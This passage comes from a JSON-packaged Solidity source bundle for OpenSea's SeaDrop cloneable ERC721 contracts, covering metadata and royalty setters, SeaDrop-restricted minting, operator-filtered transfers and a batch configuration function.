_BITPOS_EXTRA_DATA);\n return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;\n }\n\n // =============================================================\n // OTHER OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the message sender (defaults to `msg.sender`).\n *\n * If you are writing GSN compatible contracts, you need to override this function.\n */\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n /**\n * @dev Converts a uint256 to its ASCII string decimal representation.\n */\n function _toString(uint256 value)\n internal\n pure\n virtual\n returns (string memory str)\n {\n assembly {\n // The maximum value of a uint256 contains 78 digits (1 byte per digit), but\n // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned.\n // We will need 1 word for the trailing zeros padding, 1 word for the length,\n // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0.\n let m := add(mload(0x40), 0xa0)\n // Update the free memory pointer to allocate.\n mstore(0x40, m)\n // Assign the `str` to the end.\n str := sub(m, 0x20)\n // Zeroize the slot after the string.\n mstore(str, 0)\n\n // Cache the end of the memory to calculate the length later.\n let end := str\n\n // We write the string from rightmost digit to leftmost digit.\n // The following is essentially a do-while loop that also handles the zero case.\n // prettier-ignore\n for { let temp := value } 1 {} {\n str := sub(str, 1)\n // Write the character to the pointer.\n // The ASCII index of the '0' character is 48.\n mstore8(str, add(48, mod(temp, 10)))\n // Keep dividing `temp` until zero.\n temp := div(temp, 10)\n // prettier-ignore\n if iszero(temp) { break }\n }\n\n let length := sub(end, str)\n // Move the pointer 32 bytes leftwards to make room for the length.\n str := sub(str, 0x20)\n // Store the length.\n mstore(str, length)\n }\n }\n}\n"
},
"src/clones/ERC721ContractMetadataCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"../interfaces/ISeaDropTokenContractMetadata.sol\";\n\nimport { ERC721ACloneable } from \"./ERC721ACloneable.sol\";\n\nimport { TwoStepOwnable } from \"utility-contracts/TwoStepOwnable.sol\";\n\nimport { IERC2981 } from \"openzeppelin-contracts/interfaces/IERC2981.sol\";\n\nimport {\n IERC165\n} from \"openzeppelin-contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC721ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @notice ERC721ContractMetadata is a token contract that extends ERC721A\n * with additional metadata and ownership capabilities.\n */\ncontract ERC721ContractMetadataCloneable is\n ERC721ACloneable,\n TwoStepOwnable,\n ISeaDropTokenContractMetadata\n{\n /// @notice Track the max supply.\n uint256 _maxSupply;\n\n /// @notice Track the base URI for token metadata.\n string _tokenBaseURI;\n\n /// @notice Track the contract URI for contract metadata.\n string _contractURI;\n\n /// @notice Track the provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 _provenanceHash;\n\n /// @notice Track the royalty info: address to receive royalties, and\n /// royalty basis points.\n RoyaltyInfo _royaltyInfo;\n\n /**\n * @dev Reverts if the sender is not the owner or the contract itself.\n * This function is inlined instead of being a modifier\n * to save contract space from being inlined N times.\n */\n function _onlyOwnerOrSelf() internal view {\n if (\n _cast(msg.sender == owner()) | _cast(msg.sender == address(this)) ==\n 0\n ) {\n revert OnlyOwner();\n }\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n */\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Set the new base URI.\n _tokenBaseURI = newBaseURI;\n\n // Emit an event with the update.\n if (totalSupply() != 0) {\n emit BatchMetadataUpdate(1, _nextTokenId() - 1);\n }\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId)\n external\n {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the max supply does not exceed the maximum value of uint64.\n if (newMaxSupply > 2**64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _maxSupply = newMaxSupply;\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Revert if any items have been minted.\n if (_totalMinted() > 0) {\n revert ProvenanceHashCannotBeSetAfterMintStarted();\n }\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the address and basis points for royalties.\n *\n * @param newInfo The struct to configure royalties.\n */\n function setRoyaltyInfo(RoyaltyInfo calldata newInfo) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Revert if the new royalty address is the zero address.\n if (newInfo.royaltyAddress == address(0)) {\n revert RoyaltyAddressCannotBeZeroAddress();\n }\n\n // Revert if the new basis points is greater than 10_000.\n if (newInfo.royaltyBps > 10_000) {\n revert InvalidRoyaltyBasisPoints(newInfo.royaltyBps);\n }\n\n // Set the new royalty info.\n _royaltyInfo = newInfo;\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(newInfo.royaltyAddress, newInfo.royaltyBps);\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI();\n }\n\n /**\n * @notice Returns the base URI for the contract, which ERC721A uses\n * to return tokenURI.\n */\n function _baseURI() internal view virtual override returns (string memory) {\n return _tokenBaseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply.\n */\n function maxSupply() public view returns (uint256) {\n return _maxSupply;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the address that receives royalties.\n */\n function royaltyAddress() external view returns (address) {\n return _royaltyInfo.royaltyAddress;\n }\n\n /**\n * @notice Returns the royalty basis points out of 10_000.\n */\n function royaltyBasisPoints() external view returns (uint256) {\n return _royaltyInfo.royaltyBps;\n }\n\n /**\n * @notice Called with the sale price to determine how much royalty\n * is owed and to whom.\n *\n * @ param _tokenId The NFT asset queried for royalty information.\n * @param _salePrice The sale price of the NFT asset specified by\n * _tokenId.\n *\n * @return receiver Address of who should be sent the royalty payment.\n * @return royaltyAmount The royalty payment amount for _salePrice.\n */\n function royaltyInfo(\n uint256,\n /* _tokenId */\n uint256 _salePrice\n ) external view returns (address receiver, uint256 royaltyAmount) {\n // Put the royalty info on the stack for more efficient access.\n RoyaltyInfo storage info = _royaltyInfo;\n\n // Set the royalty amount to the sale price times the royalty basis\n // points divided by 10_000.\n royaltyAmount = (_salePrice * info.royaltyBps) / 10_000;\n\n // Set the receiver of the royalty.\n receiver = info.royaltyAddress;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override(IERC165, ERC721ACloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal pure function to cast a `bool` value to a `uint256` value.\n *\n * @param b The `bool` value to cast.\n *\n * @return u The `uint256` value.\n */\n function _cast(bool b) internal pure returns (uint256 u) {\n assembly {\n u := b\n }\n }\n}\n"
},
"src/clones/ERC721SeaDropCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ERC721ContractMetadataCloneable,\n ISeaDropTokenContractMetadata\n} from \"./ERC721ContractMetadataCloneable.sol\";\n\nimport {\n INonFungibleSeaDropToken\n} from \"../interfaces/INonFungibleSeaDropToken.sol\";\n\nimport { ISeaDrop } from \"../interfaces/ISeaDrop.sol\";\n\nimport {\n AllowListData,\n PublicDrop,\n TokenGatedDropStage,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC721SeaDropStructsErrorsAndEvents\n} from \"../lib/ERC721SeaDropStructsErrorsAndEvents.sol\";\n\nimport { ERC721ACloneable } from \"./ERC721ACloneable.sol\";\n\nimport {\n ReentrancyGuardUpgradeable\n} from \"openzeppelin-contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol\";\n\nimport {\n IERC165\n} from \"openzeppelin-contracts/utils/introspection/IERC165.sol\";\n\nimport {\n DefaultOperatorFiltererUpgradeable\n} from \"operator-filter-registry/upgradeable/DefaultOperatorFiltererUpgradeable.sol\";\n\n/**\n * @title ERC721SeaDrop\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @notice ERC721SeaDrop is a token contract that contains methods\n * to properly interact with SeaDrop.\n */\ncontract ERC721SeaDropCloneable is\n ERC721ContractMetadataCloneable,\n INonFungibleSeaDropToken,\n ERC721SeaDropStructsErrorsAndEvents,\n ReentrancyGuardUpgradeable,\n DefaultOperatorFiltererUpgradeable\n{\n /// @notice Track the allowed SeaDrop addresses.\n mapping(address => bool) internal _allowedSeaDrop;\n\n /// @notice Track the enumerated allowed SeaDrop addresses.\n address[] internal _enumeratedAllowedSeaDrop;\n\n /**\n * @dev Reverts if not an allowed SeaDrop contract.\n * This function is inlined instead of being a modifier\n * to save contract space from being inlined N times.\n *\n * @param seaDrop The SeaDrop address to check if allowed.\n */\n function _onlyAllowedSeaDrop(address seaDrop) internal view {\n if (_allowedSeaDrop[seaDrop] != true) {\n revert OnlyAllowedSeaDrop();\n }\n }\n\n /**\n * @notice Deploy the token contract with its name, symbol,\n * and allowed SeaDrop addresses.\n */\n function initialize(\n string calldata __name,\n string calldata __symbol,\n address[] calldata allowedSeaDrop,\n address initialOwner\n ) public initializer {\n __ERC721ACloneable__init(__name, __symbol);\n __ReentrancyGuard_init();\n __DefaultOperatorFilterer_init();\n _updateAllowedSeaDrop(allowedSeaDrop);\n _transferOwnership(initialOwner);\n emit SeaDropTokenDeployed();\n }\n\n /**\n * @notice Update the allowed SeaDrop contracts.\n * Only the owner or administrator can use this function.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function updateAllowedSeaDrop(address[] calldata allowedSeaDrop)\n external\n virtual\n override\n onlyOwner\n {\n _updateAllowedSeaDrop(allowedSeaDrop);\n }\n\n /**\n * @notice Internal function to update the allowed SeaDrop contracts.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function _updateAllowedSeaDrop(address[] calldata allowedSeaDrop) internal {\n // Put the length on the stack for more efficient access.\n uint256 enumeratedAllowedSeaDropLength = _enumeratedAllowedSeaDrop\n .length;\n uint256 allowedSeaDropLength = allowedSeaDrop.length;\n\n // Reset the old mapping.\n for (uint256 i = 0; i < enumeratedAllowedSeaDropLength; ) {\n _allowedSeaDrop[_enumeratedAllowedSeaDrop[i]] = false;\n unchecked {\n ++i;\n }\n }\n\n // Set the new mapping for allowed SeaDrop contracts.\n for (uint256 i = 0; i < allowedSeaDropLength; ) {\n _allowedSeaDrop[allowedSeaDrop[i]] = true;\n unchecked {\n ++i;\n }\n }\n\n // Set the enumeration.\n _enumeratedAllowedSeaDrop = allowedSeaDrop;\n\n // Emit an event for the update.\n emit AllowedSeaDropUpdated(allowedSeaDrop);\n }\n\n /**\n * @dev Overrides the `_startTokenId` function from ERC721A\n * to start at token id `1`.\n *\n * This is to avoid future possible problems since `0` is usually\n * used to signal values that have not been set or have been removed.\n */\n function _startTokenId() internal view virtual override returns (uint256) {\n return 1;\n }\n\n /**\n * @dev Overrides the `tokenURI()` function from ERC721A\n * to return just the base URI if it is implied to not be a directory.\n *\n * This is to help with ERC721 contracts in which the same token URI\n * is desired for each token, such as when the tokenURI is 'unrevealed'.\n */\n function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n\n // Exit early if the baseURI is empty.\n if (bytes(baseURI).length == 0) {\n return \"\";\n }\n\n // Check if the last character in baseURI is a slash.\n if (bytes(baseURI)[bytes(baseURI).length - 1] != bytes(\"/\")[0]) {\n return baseURI;\n }\n\n return string(abi.encodePacked(baseURI, _toString(tokenId)));\n }\n\n /**\n * @notice Mint tokens, restricted to the SeaDrop contract.\n *\n * @dev NOTE: If a token registers itself with multiple SeaDrop\n * contracts, the implementation of this function should guard\n * against reentrancy. If the implementing token uses\n * _safeMint(), or a feeRecipient with a malicious receive() hook\n * is specified, the token or fee recipients may be able to execute\n * another mint in the same transaction via a separate SeaDrop\n * contract.\n * This is dangerous if an implementing token does not correctly\n * update the minterNumMinted and currentTotalSupply values before\n * transferring minted tokens, as SeaDrop references these values\n * to enforce token limits on a per-wallet and per-stage basis.\n *\n * ERC721A tracks these values automatically, but this note and\n * nonReentrant modifier are left here to encourage best-practices\n * when referencing this contract.\n *\n * @param minter The address to mint to.\n * @param quantity The number of tokens to mint.\n */\n function mintSeaDrop(address minter, uint256 quantity)\n external\n virtual\n override\n nonReentrant\n {\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(msg.sender);\n\n // Extra safety check to ensure the max supply is not exceeded.\n if (_totalMinted() + quantity > maxSupply()) {\n revert MintQuantityExceedsMaxSupply(\n _totalMinted() + quantity,\n maxSupply()\n );\n }\n\n // Mint the quantity of tokens to the minter.\n _safeMint(minter, quantity);\n }\n\n /**\n * @notice Update the public drop data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(\n address seaDropImpl,\n PublicDrop calldata publicDrop\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the public drop data on SeaDrop.\n ISeaDrop(seaDropImpl).updatePublicDrop(publicDrop);\n }\n\n /**\n * @notice Update the allow list data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowListData The allow list data.\n */\n function updateAllowList(\n address seaDropImpl,\n AllowListData calldata allowListData\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the allow list on SeaDrop.\n ISeaDrop(seaDropImpl).updateAllowList(allowListData);\n }\n\n /**\n * @notice Update the token gated drop stage data for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during the\n * `dropStage` time period.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowedNftToken The allowed nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address seaDropImpl,\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the token gated drop stage.\n ISeaDrop(seaDropImpl).updateTokenGatedDrop(allowedNftToken, dropStage);\n }\n\n /**\n * @notice Update the drop URI for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param dropURI The new drop URI.\n */\n function updateDropURI(address seaDropImpl, string calldata dropURI)\n external\n virtual\n override\n {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the drop URI.\n ISeaDrop(seaDropImpl).updateDropURI(dropURI);\n }\n\n /**\n * @notice Update the creator payout address for this nft contract on\n * SeaDrop.\n * Only the owner can set the creator payout address.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payoutAddress The new payout address.\n */\n function updateCreatorPayoutAddress(\n address seaDropImpl,\n address payoutAddress\n ) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the creator payout address.\n ISeaDrop(seaDropImpl).updateCreatorPayoutAddress(payoutAddress);\n }\n\n /**\n * @notice Update the allowed fee recipient for this nft contract\n * on SeaDrop.\n * Only the owner can set the allowed fee recipient.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param feeRecipient The new fee recipient.\n * @param allowed If the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address seaDropImpl,\n address feeRecipient,\n bool allowed\n ) external virtual {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the allowed fee recipient.\n ISeaDrop(seaDropImpl).updateAllowedFeeRecipient(feeRecipient, allowed);\n }\n\n /**\n * @notice Update the server-side signers for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters to\n * enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address seaDropImpl,\n address signer,\n SignedMintValidationParams memory signedMintValidationParams\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the signer.\n ISeaDrop(seaDropImpl).updateSignedMintValidationParams(\n signer,\n signedMintValidationParams\n );\n }\n\n /**\n * @notice Update the allowed payers for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(\n address seaDropImpl,\n address payer,\n bool allowed\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the payer.\n ISeaDrop(seaDropImpl).updatePayer(payer, allowed);\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC721Received() hooks.\n *\n * @param minter The minter address.\n */\n function getMintStats(address minter)\n external\n view\n override\n returns (\n uint256 minterNumMinted,\n uint256 currentTotalSupply,\n uint256 maxSupply\n )\n {\n minterNumMinted = _numberMinted(minter);\n currentTotalSupply = _totalMinted();\n maxSupply = _maxSupply;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override(IERC165, ERC721ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(INonFungibleSeaDropToken).interfaceId ||\n interfaceId == type(ISeaDropTokenContractMetadata).interfaceId ||\n // ERC721ContractMetadata returns supportsInterface true for\n // EIP-2981\n // ERC721A returns supportsInterface true for\n // ERC165, ERC721, ERC721Metadata\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n * - The `operator` must be allowed.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved)\n public\n override\n onlyAllowedOperatorApproval(operator)\n {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n * - The `operator` mut be allowed.\n *\n * Emits an {Approval} event.\n */\n function approve(address operator, uint256 tokenId)\n public\n override\n onlyAllowedOperatorApproval(operator)\n {\n super.approve(operator, tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - The operator must be allowed.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n * - The operator must be allowed.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n /**\n * @notice Configure multiple properties at a time.\n *\n * Note: The individual configure methods should be used\n * to unset or reset any properties to zero, as this method\n * will ignore zero-value properties in the config struct.\n *\n * @param config The configuration struct.\n */\n function multiConfigure(MultiConfigureStruct calldata config)\n external\n onlyOwner\n {\n if (config.maxSupply > 0) {\n this.setMaxSupply(config.maxSupply);\n }\n if (bytes(config.baseURI).length != 0) {\n this.setBaseURI(config.baseURI);\n }\n if (bytes(config.contractURI).length != 0) {\n this.setContractURI(config.contractURI);\n }\n if (\n _cast(config.publicDrop.startTime != 0) |\n _cast(config.publicDrop.endTime != 0) ==\n 1\n ) {\n this.updatePublicDrop(config.seaDropImpl, config.publicDrop);\n }\n if (bytes(config.dropURI).length != 0) {\n this.updateDropURI(config.seaDropImpl, config.dropURI);\n }\n if (config.allowListData.merkleRoot != bytes32(0)) {\n this.updateAllowList(config.seaDropImpl, config.allowListData);\n }\n if (config.creatorPayoutAddress != address(0)) {\n this.updateCreatorPayoutAddress(\n config.seaDropImpl,\n config.creatorPayoutAddress\n );\n }\n if (config.provenanceHash != bytes32(0)) {\n this.setProvenanceHash(config.provenanceHash);\n }\n if (config.allowedFeeRecipients.length > 0) {\n for (uint256 i = 0; i < config.allowedFeeRecipients.length; ) {\n this.updateAllowedFeeRecipient(\n config.seaDropImpl,\n config.allowedFeeRecipients[i],\n true\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedFeeRecipients.length > 0) {\n for (uint256 i = 0; i < config.disallowedFeeRecipients.length; ) {\n this.updateAllowedFeeRecipient(\n config.seaDropImpl,\n config.disallowedFeeRecipients[i],\n false\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.allowedPayers.length > 0) {\n for (uint256 i = 0; i < config.allowedPayers.length; ) {\n this.updatePayer(\n config.seaDropImpl,\n config.allowedPayers[i],\n true\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedPayers.length > 0) {\n for (uint256 i = 0; i < config.disallowedPayers.length; ) {\n this.updatePayer(\n config.seaDropImpl,\n config.disallowedPayers[i],\n false\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.tokenGatedDropStages.length > 0) {\n if (\n config.tokenGatedDropStages.length !=\n config.tokenGatedAllowedNftTokens.length\n ) {\n revert TokenGatedMismatch();\n }\n for (uint256 i = 0; i < config.tokenGatedDropStages.length; ) {\n this.updateTokenGatedDrop(\n config.seaDropImpl,\n config.tokenGatedAllowedNftTokens[i],\n config.tokenGatedDropStages[i]\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedTokenGatedAllowedNftTokens.length > 0) {\n for (\n uint256 i = 0;\n i < config.disallowedTokenGatedAllowedNftTokens.length;\n\n ) {\n TokenGatedDropStage memory emptyStage;\n this.updateTokenGatedDrop(\n config.seaDropImpl,\n config.disallowedTokenGatedAllowedNftTokens[i],\n emptyStage\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.signedMintValidationParams.length > 0) {\n if (\n config.signedMintValidationParams.length !=\n config.signers.length\n ) {\n revert SignersMismatch();\n }\n for (\n uint256 i = 0;\n i < config.signedMintValidationParams.length;\n\n ) {\n this.updateSignedMintValidationParams(\n config.seaDropImpl,\n config.signers[i],\n config.signedMintValidationParams[i]\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedSigners.length > 0) {\n for (uint256 i = 0; i < config.disallowedSigners.length; ) {\n SignedMintValidationParams memory emptyParams;\n this.updateSignedMintValidationParams(\n config.seaDropImpl,\n config.disallowedSigners[i],\n emptyParams\n );\n unchecked {\n ++i;\n }\n }\n }\n }\n}\n"
},
"src/interfaces/INonFungibleSeaDropToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport {\n AllowListData,\n PublicDrop,\n TokenGatedDropStage,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\ninterface INonFungibleSeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @dev Revert with an error if a contract is not an allowed\n * SeaDrop address.\n */\n error OnlyAllowedSeaDrop();\n\n /**\n * @dev Emit an event when allowed SeaDrop contracts are updated.\n */\n event AllowedSeaDropUpdated(address[] allowedSeaDrop);\n\n /**\n * @notice Update the allowed SeaDrop contracts.\n * Only the owner or administrator can use this function.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function updateAllowedSeaDrop(address[] calldata allowedSeaDrop) external;\n\n /**\n * @notice Mint tokens, restricted to the SeaDrop contract.\n *\n * @dev NOTE: If a token registers itself with multiple SeaDrop\n * contracts, the implementation of this function should guard\n * against reentrancy. If the implementing token uses\n * _safeMint(), or a feeRecipient with a malicious receive() hook\n * is specified, the token or fee recipients may be able to execute\n * another mint in the same transaction via a separate SeaDrop\n * contract.\n * This is dangerous if an implementing token does not correctly\n * update the minterNumMinted and currentTotalSupply values before\n * transferring minted tokens, as SeaDrop references these values\n * to enforce token limits on a per-wallet and per-stage basis.\n *\n * @param minter The address to mint to.\n * @param quantity The number of tokens to mint.\n */\n function mintSeaDrop(address minter, uint256 quantity) external;\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC721Received() hooks.\n *\n * @param minter The minter address.\n */\n function getMintStats(address minter)\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 currentTotalSupply,\n uint256 maxSupply\n );\n\n /**\n * @notice Update the public drop data for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * The administrator can only update `feeBps`.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(\n address seaDropImpl,\n PublicDrop calldata publicDrop\n ) external;\n\n /**\n * @notice Update the allow list data for this nft contract on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowListData The allow list data.\n */\n function updateAllowList(\n address seaDropImpl,\n AllowListData calldata allowListData\n ) external;\n\n /**\n * @notice Update the token gated drop stage data for this nft contract\n * on SeaDrop.\n * Only the owner or administrator can use this function.\n *\n * The administrator, when present, must first set `feeBps`.\n *\n * Note: 